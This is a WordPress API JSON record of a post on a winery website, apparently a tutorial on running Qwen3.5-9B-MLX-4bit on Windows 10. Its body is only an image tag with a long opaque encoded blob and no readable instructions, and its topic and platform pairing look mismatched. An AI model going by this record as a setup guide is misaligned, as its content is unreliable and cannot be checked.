{"id":3940,"date":"2026-06-30T12:43:21","date_gmt":"2026-06-30T10:43:21","guid":{"rendered":"https:\/\/co2winery.com\/?p=3940"},"modified":"2026-06-30T12:43:21","modified_gmt":"2026-06-30T10:43:21","slug":"how-to-setup-qwen3-5-9b-mlx-4bit-windows-10-2026-2027-tutorial","status":"publish","type":"post","link":"https:\/\/co2winery.com\/it\/2026\/06\/30\/how-to-setup-qwen3-5-9b-mlx-4bit-windows-10-2026-2027-tutorial\/","title":{"rendered":"Come configurare Qwen3.5-9B-MLX-4bit su Windows 10 (tutorial 2026\/2027)"},"content":{"rendered":"<p><img decoding=\"async\" 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Bamt+oWn4g98TJLGbM5XNA1x+ZUa\/DLw5JTLF\/gjQqQrZ\/U2VS9BSmUmBzy+sHgp9jaBw\/nGNd\/KVnK\/GVPJpPfK8WNIJXKdF5S0cm9Pp\/z5Rm3udFtqQuV9D8m5+nEIrmuDv0RYRH1ro8gsQdR55XCnEonDnK6GGZQnf9MD5LD7FPw39McELiWigYTdOyleRbN3llm5u2PO5UMvwbpAc0PE29k7JHbrSZ+LYfXq\/QMF0UrBHk2jOC9ZRZm1tMpq6wGqVVCcMLcBQgWsjwcRLGhkH1bLqaAO9Xywm8+fpIUYqIzCiC0iRa9e4HyYiYlh66\/P36IY8qGRvyPPU6WoK6I\/matvoTk44qrjTCF+Ay3dfj4FmzyGzORWJsJKMPBjsdXNZSEiiiJi\/RSByu4EdIrpoSKiG2uM4faa7NGOEVjnkgsmocjXNIQExrVD2le4DJrmSdS+bmm1TUMN+NCzimlEzEMKovekBGhCwVTcXUMppZ0iK9DPU8Dc1iUGQcefvPjxYfCsxUy22MIpWCipKqFOiQATVreq0ta5fxA2MJT7AbsdMkQLQYkoQYAc3Jv3fbfZBH869azNbo18ARqdbaEZjr1PRo12YGyox9v2GsTw5Ix1YciTc6tzZS8rpGG4uS\/Eeeg+EK+J+Pid2jPLYeOakE8vF1el0X\/bUawWL6eO\/8\/L9ZCsPn8imemsf2jd4pvkuMswwi255fhrVnQHXRu5Jluq7NJwvLfgpS3s\/3r4pAz5zf81QeESt1PGhE9sweuSJhY+xrgFxiCdYUo5RXbAgmu9WxLfQMc5QKseewPOfh7caVMf+Qx+GwOHcq1ni\/1gARgYLsvLs3RveE5a26245g652q\/mcumF5k+xzQnMTF+e9iZQuNDLtJ84m1zV998tsJoOpudyH5fxQ31wX2fbp9feCBdSfPg6A6l0cz8jO2cQ4J6FZEzkNxRM5huzKGWvwm+T6tW+V+PQ9Sc\/MP+1+dP4oXTgU5Pok7lSxtx56B4UWn0jvfUuIXa\/Ly4rzXw3TEtxDe1DkX6bh4ebdmD\/FBYZLjmd61JjUaMvYVOwWpsJGALMijW1rImevyVMKpKs2fmzDj8K+3HISz+NT73WWoKnZn53h9RIUXLPWdDKbXEJc7PqGhXdYKJqs\/Zmr6wNfcYhHjZYUJD12QVvnO48sFAfBWv7\/9NDd\/hq1+35GD5hYMRdjia+WvjxqZQ9mPvYhrWNdfOXk+wIkxdOPsGiF16mL4a62vy+WGHUTI9aW\/u3RWoTfUpnY4xgzVUk\/m4\/SOqorIZRlF7oLE7+i1rovs6KHgU6W0hreFhNyMleehTyWmWtAxvT4lxoE\/nVpQ4auM6AL1tB9qpREMXR0L4\/EvYMnEW9bLgFK\/bo0K66UXU6vV6F7V7zCCb+DiU0y4iJUkU7QCYtrDy9ts1kRWTs32rfKIvXr8ARWiEwJRsncWKdfbAmZzasOfxJ4N2xPcGhOd4McYw\/RlbR8AELxGW75QObfv8bYAH20E\/wdKBFZNAcpZj0iAOLk13fWXiWeJLc+afTUPqSSioW5\/TFs5aqMoOzTFMI2SdpI3EhkywSvVDGDHzZIzKW7H\/65D5NLi4BMk3drcGv0FaOnsT9u4OeJGFTy8z0LpwRH+uad2UeWBA3uzlFh1zdTtk7elVOjn0IATuMBWv1pWS3EXUV8TqFTXm\/qZcoB00qGuKxO2mTjXxi09K51u3ory4\/Eavvfm5pXvCi18S91LFkZPanIf7QX1ylSQol0CPZf+Xg\/RrXZ02xNkkiUYbYvP+CdVJxMzG7xeHN7GKTtW0asMgI1ILmtSnANclXwSqkwdsLhXEGm3BVps3h2TtZEb3EPIrWQrTgaTB9175KXABXUcI8jmm\/AwDO+odD54Qyn0w\/mNvPN7uiuVu3nt0oEhP1SwsHVDKrnWl5dToiuVhKROGXsD82EPF4jSJ3vSKIvYG7TvnmW4d4uO03jjWDLkWeeUghl8uWYnWAg6oIwr2de3BAXgDtf0PJNUHECysdfyS4ZnGNvQC02mFiPmB8xEarvhwTHBQGfw1z21I8OV\/IIWoG2wZnXFgQmaX4JoTzEv75BZoiFRl2ZtDI5T1fB\/OJCP6outM199WMW3D0t21o7rFrP16Jkz\/9TkH+I9QY44W5+MgRLTBnzzzt3eJCHvCHWI1Pl9FnHzeskdhjnIRA4Xuz9C7cZOksMCzylB4xYawyeJnxSznJKo7iMhl4NbzH88H4UmpMjUMNi4eUkabDQJ8zm+Zk3X+aVhVQCe8qyAh+1748oAMXUbRDq9NXiUxrrT+yMhpjaimizArOoj4xbuIntOJVSqTcZoeNh5jS6\/Eb3Nm50P2naaJL4VawPkDOiyhkNt0y6gwZ2C3sTrw7LrgCCt6JfDvP\/hyIOGwTtoBiAAn43nN78rBmW5dr9UARugTOFvtFShqyF4xk31JDZVpYQ4a+QtsyHpOvfspQi9xq5EUyNHuvhE6sOzPXdq+oUhMN9M+ZFdPyuH9x2L5yxL3y9i+F4Dh8KnGZugI46lPvefBo7VcUOxCMpXAyBkqGOBrBsp1aVBCkzmRRQ3dD0+5uGRdjSXPpOMlCdFjONjoVa5fVIRwwco18eNG1Szs3a83fI1MOA0CynN0BZHHADLGAOpzSO5UGbPS\/1JbS4e\/OVZuyVs3O3NYFI73qEoBVMQvLul6HwKU+t0\/hggxW1AHuKO0RHf0Rb3YQefi2nOkdNTNPai\/yoSBEwsVM6xg0VGX4GVdAHyY7sW9bMj2mhw3PlKPyEzG747Sj0lkn9aMKrQ\/ItCdMCrErZls+6jrbZ5ObOfsb\/J5gqX00I\/a0aKP2dEQKeYTOsMghIjII+PRUD0Ico8xgZogMWdK+i1rl+QLf1S8Voag\/znw1UhtxTd956gqX5bChNQJzqlccapcdCR0SVCXfGGpWCFpEtLLzmP4JFI7FFoQbQFycLHhMBAUX5vAtVAad34bs+GE\/woNOqEBnVZCN\/UrLyz+OSwk6jmhFqwd+8DyoAJTQ5HJ9+4+uX0ouBOl2qX14DLY\/g9PkFllUdi+NXYU7QCZhOHM90x5qyRKPI6e2+I9HgvkbvyUR01j8fNiI4MJk4F8btWDwwhG6fVSTL6X043PQjZuAbzizhE\/sijDyslv0YHKH6VBs4FsugWGN62LZSi8FF88SAUD0pMmwPDP8febSsYLeJZ\/p0ts+ddGvGlfGnSHrk+LJH9hxHUBXqrseDHgfKrMFVs7KQmMSd+haWwzCq1jqLR47BcUZIT4XNnShdAHyu4vDFrGrGq3dzdF+JrVUDVDUXT0bJDv3t5BNmUb6vT\/yOkz3UXVhG2djDHJrZaaFk7G7RXrnRVMk4uetOboWJcvjkcjItD7HHCqmk2ogOZm0cEwJIVTm7QY57YMnzEsgroNybmZkWTBB3JkOrugW5PfBwH7FO4izcozc69j57BcpFs4U2Gle\/\/Jl5Bnkch+R2emvpxek5cRTNelX0LSPmGDYePrJhkPAHJkbmqU7nLzNtXPDm0dzMXfA0MCYw56sVvLt7UR0XkETJ9U\/CZU9A8PS7FdYLfZIwRnRqm50WBqUqy0U\/xea+OLa1i8N24lzRRLBmbDXJWIS0hBNRZ3RGbVXKH9CRBhyII+2oK7IaOu88eGq2gWV2n0\/+5rkWP5LBhOciaLb+Sbs+eTN6IjDPIc06oe2KgphFzKHi0MBoqjLI1t1G9lyTiEri1V6t6L5KEQNw0LvtfkdxH5Rbw7dy1dsfPWOQIz1OCcmZbSJruMhiahDDgXzVCxZoFIsg2BRUMQPbJojlljv4vO+2rJmbpqaTUQO77sY9TuF6KS8qy1u8LMlys8KGydA5NSMS7bilJYqOUNDe\/\/PuCOsFZ2DN3DObQIE1B139wcrLViRIn8NROCF2mazsei\/He1He4ge2f2MabuhkjBGOc2wrIdS4i7rms1c3BGYouKhlYYRN+Nm\/j\/6PtMh6YjZMhmn5fBzMdbqSKMMhRrMIz2AwF9kxvk8arAvooMsRc12MsC9Z\/oo5z72GjJwixSda44tUI80ypO0KdoGrQw0\/Uf4VPUkoPjubIdBZK+2i0bJATHjMRYH2qHXw\/fTTD5\/ZyR6Bh46rrzpNoJME+m1TziC7WiEgU8kAOGeL0AFJkRRxpfNNAqiPhNFTcQtey6wsZsOF4vjA357XTSHhb1v6SORBxvQMpFJsuYUPF\/PtJuIXE6fDaHTkBkEk2EG9dZ0qbMstxHxAznNt9DHF5WhZNgjnyvhBJzRHFhCUxuzwgKXn3K2lGYmVYGgZyixzSO8qP66QggFxfJ8JGbRkPxyZtbYVhgOemqqjoKywb4+YOMIwRhmha2NDiprBXMlDa8jXiHT2376SHi937WzAWViXpjwfRuUBAn42S5s3gD5Oa6PpLTM8JYJCIfrXXV2sHM3Jj2t13w62nmyMXMR+keQphqGw9hzcMNKHO8Bkf7pWoOGBwS+4\/jsqy2NAusWlSBIqhfiPjjE\/lIAKARsUKAy8OxbM9rmWIkg6BMBG\/9dGKw2iJZrsoqu6EeYiXc0z38SfuH6HvMJPnF+OV8z8lM82pdX6fCer4BJ7tXWh8WwgSYbO\/Y8zhrhbnVxlJTVLvpEQGUiXGf4KlR\/TbPcv\/xuHnQLkmc0WtU50qKuBdbGFXY2FbISevIBEtrWlH01PsiQptdMPa2E9NwntqY4WdPnQ2VClM8HPo2aTiw0HX8yfTiCI8q6ZmDzcT\/Z2xM3BbnLdJqpZZ3TCkx2VJi\/+F55PwUnR+jPU7NE8lBAXZGgrhspZxqGT5uOKJMLPGhtkwP5YlBK2UlME+NoGbi8UX9ropJKdvvZM8xPoPGo7wc8BgwvYCznbCbqGzwIH7duG\/isa6zEEAObzlFDIa4SBEyX9xTwWi\/A1vuMTvB8zvWr8CBi\/hleOZ+cu78phNJv9lHFnZWwAtvPenuhXDST+Tq22+l9JHWYLrV6+nZO9nBPJ0Bbji2tH+Z0DMQQH\/\/TdvZvn2VMrOfJ7fjlbnw2Cocryh43FiO\/AfEOhhpA9TNz4JPWg4STLSINZThHK9wABeFexRd83a1dTh4XrnnfqINVY3iiZ23FaHXMy0gOc5N7AKs6JeV418hUYno93sugjeEAE4+OwQPi+roYyBwGwlUbPWzKspPqEhlrEnnfBV3HRtuXqHS5Ku003nGYYlS81+wfwNNOGoHtIaZdJ4HoZbvxwEXHfwIRdBhwId5vvjIpTFochRSDiOWbp6fzeuij5vVIeVQFjEYcs5xe3COlN3AiZDhSTdj0bDDnSXRtffk\/7QQN3afmI7RF9tPBt+NjM2pg\/WoBlnqC+Qo2uyRxKhY4nLcjARQaY0NYPHGO60wWYjKEo1qEVS8ES8s1revPkFnYSFU3XwNdR0\/ldP4U5y5E7t7aDS516tQomAeUczFwh+Hc30yCWi+B0Bjxzsb\/vq1kUQFjg0C1fO4JYtOo5K3PNxd4Qc043rVGA5GA3XeuNbqfW1zIQOV9UFrZ6uPh51fzeUcWYFv2cguKopNW8aEui0I5j9zUU3vfA9sBWWcudR4rY4ST\/nyl+kcsxhnQzE92QRPbb5pGID3XjOWs19RwhX+0PfQmKviTn3OVqIx98O19c1olm4jnTqx0ix9wPLFAb2HP2EGQ3jSMD\/DpB92ekcaTdFuzRbSVHE3nyV2Bn7W1P6cfJYP3Fxc4rnJ\/fKpiJDiNyxJdxZMgcCWBXNpYtN7h7u1AKc3YUY4mboi8IEmvxSv1tuKdy9Zv8wx6E5kOmvw4PvLojYHlNmWw5QBgRq1xJOa2u\/dSoQDUlA2IDhCzTTs\/l1RUgXmi+4uE\/CyQMSntwttvgdoHWBHjrfegmegvnq+jiP5ShkPPTAz1oSNfCqnWxuixanWpiIpz22Q5pUlPfpmdaSiBOW\/lxDHb4MuU0cq7hAPuXxarrTVt7ZDvPVYwW6f7+WJ2nxP1Si7xbKFrOE1C2qCsJQQizcJpQZ2sVm4zsKIJ9VRdgF1JCzhoNyhby4IyGiAASnQ1bDfx+pHr1csG1RajJzf43frOSTlHqu+GAg59cnyIBDUwoL9OCxr8yiEuEQsQXmz8DiLx5EhIaC8nVCDWvOBSIhD3ue\/QCpzvM11umXaOHzHkjzQzynYLWh\/gqvWMgKHWcuKfjNoUduVMz6PB8AWGvIomiFZhbNkUWkj1a\/LfNgKpNsFSe\/1wUn1YAqxYSoGB8g97gj6WWOz\/HWz\/OQ1vAq9hJJLk\/l+bMqdmDqCplmwzrdUp\/B6zOmLiKgqvT+LCTn2cdNAnNUyEHkoxwrq7fVvWdnS8M8liZLDR6G+bKezou2XeM8clmggsg+j1qfEqKnPkYNbY1JC0sSKFR6In0pD\/NcGjnVJIWVn+QE0rVx8UIWjKcy5vEVzC2M2nqjG88WviRP+6AB4YfJQX3ADE3oRM2VHaZQClRn40wXkZwe7R8YoeaPlfROdpNxGzjBYBFaozfxzhzYgLFLJSibQyyRlUp2AnTubtosHf39Uv+WjUyqa17zkudU\/mpgtZWKqQaOv7OpO0BoKTPXDafS4HgpCyyb0SF1rqnbi2BxcRLd6c+QAXFp3Gp1vZAgWtsMMOCem0eeknOQtbPDgg4XDAVkuuVumdMHrE4hyaLa\/bixY8nqr3Tbz0kJhon67Eh8d078CDTmQy741hwmkk3lbgplOUGI1p37Gjuqdw76BQdjQQLLId9z0QDCadf8qI5EjuMWZJhaFQBvS6TieZBpDvdgakdJ64e4EeltCKFDOOF8qGsDgIPGwxsMN\/+FexiK4LW75cwzl3W8TZpzO6QwAkhexeCJr62u\/0jAy5nQAculCutOiAgacDTaE8iYn5Si7IJINbBjT\/U\/1bO9Ct54PkCSWZuksVDGzDCPtrgmYRFR4N9oA1Hh64+oolo2bIp06CFGT11uUTegg\/uOH9OXEoBLis7neKYXwqsVn8S9H1vHVTv0K0WWAxU\/aK2Isplc8BfdTnt7FKnw0mSh\/FR\/A0o0QGnTiNlwgRF3hQJhO1Pbnx2esil4Cppnfr++1tA7xU9lO9cnXPiKUHgB4QEvz3MRPlkAgu8RV6JLXIFQQnLP624Kbev8vPl2hsM\/O20HnNemz7nOZtPVjJnKHRObqb41ve0Bv6kWGnT8dBRi2sLKLZXF1dxSMJxSgP0h73vCVuVpeqNcYV7bTqmMmFZKne5uyV+kt2ZXm9ZhdkQJII73bOfzFxLQwwlsow5C7L5ktkcb10zZ\/tHK2I6LjI0AmnUUsv555eK6WUASrjdDablU5PgZwr+r82NBJ1P7v1j6oD+nr79oeZO8RPcc3scS0\/RBRyPJ1r\/NzUJJZ7WAT9FdCZgrPu3hHRUDV7uUZHsbAtcNLAiCsrP70swgcz77+Y2D8T3CpEbZ2Hr9EF7DZJ8nFKJUwbOK+Sux3y2cfX6rIk7u2At9t9PtUUD49EWFgKSRk\/cOBoBLEivJD3UE7FtqJ5tBw9iKkR2Re2IGruhV6bDI4I9SaSaWkR0pd1cW3cdAXFzrgZrPSJqeXPvrHIeRNMAPwTn+JweniuYCFW3mBBAHNt1Nt61rgCoM3hd\/i+RmYvITTgi1lfGut4F7Sbv+vKf\/45AZeX9mfHzmNQCDeLryZf3MC+T6\/ytCAsKPnm07avFVsjLw8KFlZAaxLe8t2qOSbRoWfG8gdRAXymAvYqaH3wvt\/MAGwaSJY6I9yHpOWTC5bDha8v\/dD2ZF7f6OS1aerlO8pteNWovgs4O90VYVbJV4MNtP14hRkVakU2Zll0ybQPNZrP\/VNZ30CSe+fcs2T4k0N9KQSZKwA5IrUHGd25QKJa\/ijqDk\/PQVxkLyumaOlZt\/NUstQ\/GjFRNnguF9+MC55C8xsYfK51s4W2TEDg90y6ul0o6u0FgNjYcciC2pSsGgkjUb3FjMWEVC+YHpZ8P4mpXMh6yohGsuuzskTEivvsR4wbjVHgqSSnlQB69XyBAuYDezOLo+nOtDgEugsLZlC+M3uCocbvRZCIKyyv6yKpG9H2LvrLABJk9OTPXtTggO5yFsZkW0aXJJHAksVNGECXCT6pw9m7PcqWnV+4i4o82\/XFm1\/yCJ\/5WmFWUiTLB2M+afscR5QTYuPupC5Rnu1vjbQK7p3SvGB7Pygq7msYeNGSSmp3pLAhch57ixal7I89HSnfZLKaQ21UNDj9AfzZfSFaltMSv4CyX1l+xohGRyBD869JyI6eBO7fEeG3KUzcB0VDAjJG3kawmH+LkZLldwjmH4UjwpUQfnCaTziiyn\/lkJ7jLFQ6+NUEOffIEKYz7uB9Ra0BH1Qa1dQuEc5qeUbW60lqTcizPy3EBDYCgYWVbiq\/lGOJTPlzlbgGfSAnbxkjYjbP\/qEhRCz8vq0KghSaxbGMdsz1s46lG17w6c5KyIZk12\/tasHhfCbNVvqu5OlkufLtF64zQpCr0RtmAVNjxmPANY5jdgBb02pT1qw5Srup605TQF45DnoAAJsQ+FaoCq0HH8iyLwqwwbkr3\/gws3FKR4bOHcKy+zQO9pF\/i0TWM3cGccpXSCK\/aQicGj3XP6cBW3e8etxajK4\/1RQ4Sa6QVdszArFX7RwOv8sHxYJMXbIZUw3WXHwyQphcfzoqgeG6CkYLm5eJrxs72R+PlUMfqljgSM2JUuGzf6K9cBhkQ3SbHCOYLRe7dban7N4FCFptSnErZNhcSKTIqMGVMy39Gj7oyF21XGCFn\/pvb3qIE58hVkA+boDf8JBAtkUKzKZk0IoTJ3uCUcwjsSi\/ccEj4e8w31u4DTYEBYSeFqhw+K2YE8yglhbeqHWCf+tmA\/4kyPpv63hBDCWgiP0BJ52KpIQYbYLxDUVZLGkGrP08gWC+4tUaCISmJlWeePTg\/q1K\/Fkoq8c\/0Ti1n3fefJyBsi+aul\/vfe8SNlh7aDGtW4IdcL\/JbwO6nk7Ov4teofAFcu3lt78rJQxR91mzW3awV7498guyqddPpZp5OYWmuQsTCev2\/ubeHTn4XYbySUQjTk6WfZoxF1oiX0HBiaYHj1yLw\/mUNviXM6T67hC1J8aRdXRnELe57yK4\/7605TOpFEWamKQ92yMymJAxDfdSKWXwIR48YRyusXRJ0qsFCI4c8UnG1Dy+DoX\/TLnnUy5827FDlR8tATK44vNMTxekVvB3MjsZ8CJmMQv2Enk53yCvvgbEZ\/8nYD9BQ+nNjahTL0Vj1WGmgin2UA9\/6KIlrr5kzCkH389tFWqZmhwmOeJg1OhXlgsBpwwKDm1hZEP4vOt1XeH283uFOJryHqI3F6lTkVwfFUGsywZ8d\/qvodUjrARYwFvHtbrvT74K3\/SA6OZVHKyilu4V4881QryaiGCiGrl0rmHc7CbzJflxjdZ+og0lPVerh9Uv9pvKWiG1F4v5vSIWX6xgq7m+Z0PbdN48\/SMQ2wQDEv277kFGcZpEPtX120DWqiTxjUZW5KMBWKu3nokdnBPAhIfvbmh4dwo8sJd3b81mSWZItKftHWOonXdiHOJGqZSY\/2k+VdYAE2kT7ziTsj7pX33dmeeWp19qJkc903weyL8YWF4DY5NLTvPYHUPSxpThZWKzh389EluzX7FswP5B7Wm9Hj0otETPMK0V7YCu25oYMy\/t8fm6APtCIkurgkzSvtmEXFvnQEWLiy9l+vH3Jv5sG1ToCpmea46\/cC52mMVfvJ3M\/wmZONIJkA8yn3XKdu0eu\/SYoFdXRLHfNj4D1n4pk8ysVtibkOvp5ka1BpPjq43Tm4rbMR96Z+s9YaHFhz62uYglZ1PGkb6NGjaWaSLt\/wExHzIQ3yBQB28EyvIn3KYASJMAyRjmTjyeFO38FHHakofMUPgfIqnFquk5mdSb9eJ\/Ex8Oj9BQocpEGpt5R2q23UK016y+IK5B0EeP74UfYE5pGXqogTCKUUImovGbgO96LDiw7dI0Mscl5b9SNHPj0uZYcddxX7kXKCr0rvVK89VBjKOWf2cx8h0x8zoMKR55lHD24dB2iG6vO3Zf4gB1x38rSkgHjoLnHIjf2SF60e4jxHffeXrqeT4ueYMsL5EKmkbos9XySw+f7ZfZ5uR6iVKRl0y7w\/ne0uKYA8LIQ+CfjV2lxDafgVcSfqgIUkeSlbe6+SAHqRRbZc2uyZY1U9P6uphgaTDohUk3Nhw4gDVTcZYCeipnTlAnae1pkx8fPPB8fCje6r5FvXKrcAwjX18bp88TSlgL7S9l5WO+d99iQfwRfPOV9K0248RWA9DmkYkKm2fCpjVzVwtocQ7lJhSri+U5p8Q59tWdmbcN0MLnHEhDvRqxIGLBi2dRbWMWe+nPJEGvcAihDncJHkWkzMzBcPdTd8x5D+F00LpBpbs+yjJBiwltxr4RPH6RRjv\/AJ2GBj4kRYxQmlvhyyF7Qdn0YwXFWVmIJjjrVKOfKNEpirK\/nGr0w\/rWYGzNkOnACvVPZL60NHeSt6Wuk3zQyJUxlUUbVnQdWqDl2\/4RR7q08baDSR9WHofpOsoi5zs7lfhIf\/PxnE6KolZfPtE87T8y697zEkZiApUSy31xlvvQ8Mr7S\/gH5IwNPDGFVqBaUkgsNr5f0TVGhAz6YJeNPQAcRBHlA4bBVsbnyvxUhy2lAJ4gXEmaGFZuU5f7o9PYpHAbPVURAUWuw612m\/+WArjGB2DseZtqAc1ok2LXWK9DQOZ23q29Yo15GbfbZ9nOCrKuHlG+iIFhZ2xV3sMNfD5eftLh4iXFY6HytFfID2LIuiHjyvo3e\/tsH+FjrfUwscLRgSdWOI\/YMvpHBPgGPMPlLFQYbDyEWfxBgzddQJ0F5f7tHTykGgUzjE9kYMLzwaDqbReXBXfTTx8ZSlTwR9hG3bcThFVZ7g9+PgtFR7orgaMrD9EdnOfBrlqV8nJRn3bdv\/8RTm9hmKs5W2dyQGTD5PqVp4\/cKaWOFhTnlBLgKq7uVegZGYC+t4oOjLOlnK7XDjctqR4Y\/lB4\/IbDDs38N6WLHmm9sYETqQYG850Cf34YH9FFT7RDI1+xNNMN0Enoa2P+5P8HI8cKoMOLm5nvvQbIa3trtMWinxT3UODMVLYAZXXm+UxUu5HQb4S0PDJbvzC+haO4L57TlUsoP\/pLfOnWtLHYJVNzP63Sfa0orjAdkp9TMJyixfI3Zz6fHPi+nY+D\/F+FqxmB\/arZpjaW1jCE4sKWxFnA0YkpUXnxaTVMwrSCFpL98VjNxx0HEEOEKnu2Q1qV1ik1FGQqgllTR5j8UFPE2M5SWB\/ENyyZbeuJ8elk1xGsRCFfSPFhIiB8wKlpER70jblpbvscKin3ZQoGFyB+0opJwkKNoS3mji98pd4BvG1\/ymmGUVz+B8DT3\/pKNwMRrgtrD\/PpC+S4Q22IdoUNHhD1sGx+iB60qIIG7zufhrlEcvlot0k5l5KFdkTjUCsQTqjoN\/295V7mF7NU8lRVfpkujfa6T0KjAM6FikD2lOPe\/oVV9hHFiMkUNtJ8wHDdio8iPzoE2u1zq0bxLpSnVLHOhjXD+Y5ti3HYT3fTAa+Z+u8CcUTUKHC5BRBN76ajOauwjGZE8ffXKjryfaZH1Xa+uN1UR0n1p4lJHBq9CX3mkbCqqOu+u7NkQ86hCLQs7S1\/c8s+IAamoEnvmcNf0qOnYbq\/VrKqS8ybnzC1eryzQciAIYf1xcEowgX\/ethql1q4bVsE2NRLim6zOsYhX1EZuHIgp+0\/sE16ym8W3BIIadPrjxOxpmrSVuUpZZS+iVsyfvthO0Gm0mKybBIdr2UPgUH+9YRXDQNxb\/oNnxvFYB7+XygWqJ15Yb7mliHpOF9lyIJqjD2kxzlDTw\/3I3VR8rwH4wz1aJni9Cw0VlaZyvlBIjX\/ChJnFlukLrM0xAtntIa5CUcXsqInZlqIRX7vlJlfBIcNyqdZmniZlvE499Ub5wa7m1oq5OAe3uImSzvfBV55h827xRaBlFQBrXSUehb+1mdAzDc2x8pO8u4rjGGMbAGKTas60b1RH+EHtclPMcBkkawbZSuqZ5wlo56uve169nUmopZ0wIQDZp+YuR4Yq+5D+GZoCnv1aM+XhLyTQ6BTrswuzETOT6pSi5U7CvCBXJpmJAejKsYZaY5HiYzdABA7\/HUxkvGWxFtT\/MqunpGTed9+xpulpZrMSbBI0qx8uwR4SkNfbMtwh9NNFtcYkgoTVZo2XNGixI5YztK6JLuja\/y937Hbhb0buqfruD5W3EVzSlL0dA5aR+Ir1johGSh7JzJ6FdSLSvn6JouIdSn596XifxhyKAXrOt4GronA578cwPxUSt0Dd884uG0Fm6R5e9rw3G5R6MGcG+VCFpBs\/s+t9aI8H8jnf7orL6A23jCJ5083VPqMGZFTDJKifcT\/tfGuVpm17oRmMsKYPyRWaC7Ozs7gS5ciBS6P7U1XIyahjee76Mp0GL9JjKPl7Q6GZPf\/AfZZCX7l0Ri4Z1s9Ly6pImP7GRcT49WWnU\/GFztnvt2oHJhQz0LD45Mz+SxcFq7IlPzM4UgsMKZKZS+dvDYlQXwCW4oCC0fnIQgOfwycBDAIcNF3Wr\/Kt3eB5iw2Tu7Ejh1CMAfKSduBxc2ZxQWt567j8GL1vYQuf2qkQIz5oAP\/CGKNjGmNVGXzt\/DsvaF1i9Nhq+nc+7uqEhuVK2deZ7ER2XMb3gm\/MVVC7Q94FDw1WpuP9xb\/+JwH4brUFAn0aK85StAANSbAD\/1GS05MiC2hkoCNO0KnUyVO69LJBsV6pwouO2bTE2fqHFEhggkuR1gXrhWAtxXE1HFuNYBPQJZ5ZKc9W2KYUpfKBHkbf3M+OWcGP+TI4Tt2HuK0b3HqhVd8rISf+WmpSMrqveBOxztnavNvMe7JxlZ8p\/y\/naHhSKrgof9AIhkap5bu177NuUoZxr6M76q880ON+4Ny0UHDp34bM820vjbo8P4dBnY0I8L2y3B5e6RHJrOsl7OdbZgUfP6n6S3khTeNZfpdmj8pqzJYnwnCH6ErYA4iYk\/DKbSLIshP+N\/tAVqXhaTChB42J3fokkNzeU6j8UMRV2usapGvxhQ+dvP6oDAZCarafszwaPgZx015F6Y9OTcNcK7r5xa6b6ZJIzHEuTZTDl9W\/fhjxBxXUr8w1aUQcHrnzuObCEIdShiDDl9hOD7rv\/RfkFIOkOOSleXAtACOYDW8+s3F\/TiXoA7UWyHXWhjIvAMl2kE8vZZyKd4FAjetb7lML4DplhnbxFa2qdcbxydSxifXY1l+GkzYjDt4U5Z\/0kScwZPeDhtPQwxdbehuUy8iOPAZt8aV0ecr0u7LSNtlP1Q9OGe8Ac6Eidrq++vV\/EiLZ4h7m+cVhJoYnKP7\/WHSJBneHcGL+sjNHKq\/shS4Mw9puUfiY6mj+bznVbKRNjpMlXuuzqM2PFPjiXUv4KIxpEJzf4sRltt9\/fALudrf2kI8fx8Tiw5npS8EKUe6lgOQn58a8F+DRb6VdNj+sJZYJWG4XCKebpIyAUmCToY\/YICujdkkZDNfCfhwIfyz7KWVLKbe665CuMzKWI2ZSIoZabsQTSnd47C1338r+Ii386n5D\/690rOYOauI\/bblKK0cw0glr0dIAsfy5lU1GHeQXxufNKM2jKkQEyMWQQ8372KgGYrDgpQDwTvfK8x73dsQ022X1XLoEwut2+ZT60\/PUIwt1wqUsKCxVUKULVYsAnnz5FfAdRyoGIVVOUqJOuZArFX\/gy3NLoKb6I1ADsfYjlUMRgDYdzN81Mnd0XIANBYxvXEiSA5LPRb\/5pZQxwdVUWu+G4yK2MTZ358jsE\/DIOPIKeDPwcuJGwAUxMZWEPTm5uWdJ7\/wEKDUBC+YvTu11u4F7UNqUaqZefmPhYx7MUilQHYLP3oyewCVOLQLKkhOK3Y\/hVkmudmOlOwIyfAeNU1jGG\/fXaTxbdcnBda9ev0gFkIPdpuwqGVyryJ91L8gt1Fg4EOBvmdBAlUoMT\/c+eBDgaBZEn4anStyatIWLripp+fi2D0fKvLfgdi7ItSDYdO+pD45aQVX4NY2TEpqjIZ0QgoggFWbcWF7r5qERS120W5MLjG+T4uwVtxCKsanRdi++U3cVKhxAR8Sq6QlvY188nURCsofHy8n0CuFVJ3W5nJ+YYEgDK9ZH2spryUg9po0YlGSHd36\/J0nSCFixaPR14V5vf9IWVwojGzNiLUUbNk\/ln6\/wWJATqlA4GguO3ChCHp99xdSgklwyL786+N06iTX8vMYR73sToeXhyzwN33h8CQeB+9JfYiiLYcucUbuwEoeo4YURrsn1wTy3gOCS8c\/tdeo74S8AtnHJEJlKl6gb51YlrrGOJFCfxu49PNlHjlafSELZLBOScLIEkURLqL4uY8ivfgcNAuLRmpIQ09f+lavfVycmgORUsUOA+qlNnSmP6ck6NRTA9s3bvKbfDMuRsCFwJD4K1Ar\/rhtBRsXKnn+wOh3qoHsTW6I4Ncq1eyFvH9zC6sqF7CbEV5XHrbuZt7t0Y9tzezQq2KLWULnhfcSBFwN1zO\/3TryNw8d1TEE7m\/\/mOyoMDdPTk0l\/V0f2Bf4HheDnwOUm1JrO8hJ+rk+W0DkNAWSAAAFPoXU51iZZzUzR1rc6gYIQT45dBRJxvMuw5c4b9WaHADufr8Pc+TAgYE1LvM6x6DnbKSsrPs6IdxA6zxRmx4hT0DmqakvOLTVj6\/qWb8FKtSJAXEpV3eqrOHI7y\/jTVtjZ6a3Ol3Uo\/6OcLsxjgxko1n2Uict0w1kojs\/bV3QiZI7guZtVpzojj9s1wKiIwuu1hBBbBAxpzmyS\/PyXnLptv\/dxcvLEvR+T6CBdxX1Qb2t6FykmWBCJl\/hmWAMbG7UFBs2\/LTPo4m2vjOge6jkuaXPLNOzqGcIRWxVzvMvAZXdkwBAkvqZr2DHT67\/nmQmiN2ysFbg3HsNkUu\/tj+uK0fMjUbHgzSeC+MwqoW6QL1q6kHBp437\/LXyzhq7srsyJ3EekIMQ+A2eplbo9lLJBe\/UUlsAfhV9\/gWV9UDXG52UY3KlnkYSIJDjetmhN57sCXcRK3qCP9wW5lRN2+hbSx1pwrVnrJ20dTa4qYEJtY57GBWVS8RXNImvuFQhB52yeP7dtB37dgWkO7jLNhe4iLaqUV\/C8sh1RvzxKXP1O\/y\/C5eBbfpHQ\/sOn6OEtVGAACF8HP2j5MeGqD5dV5Cqq9KnsY1AILs7tgfY3jLFDb2em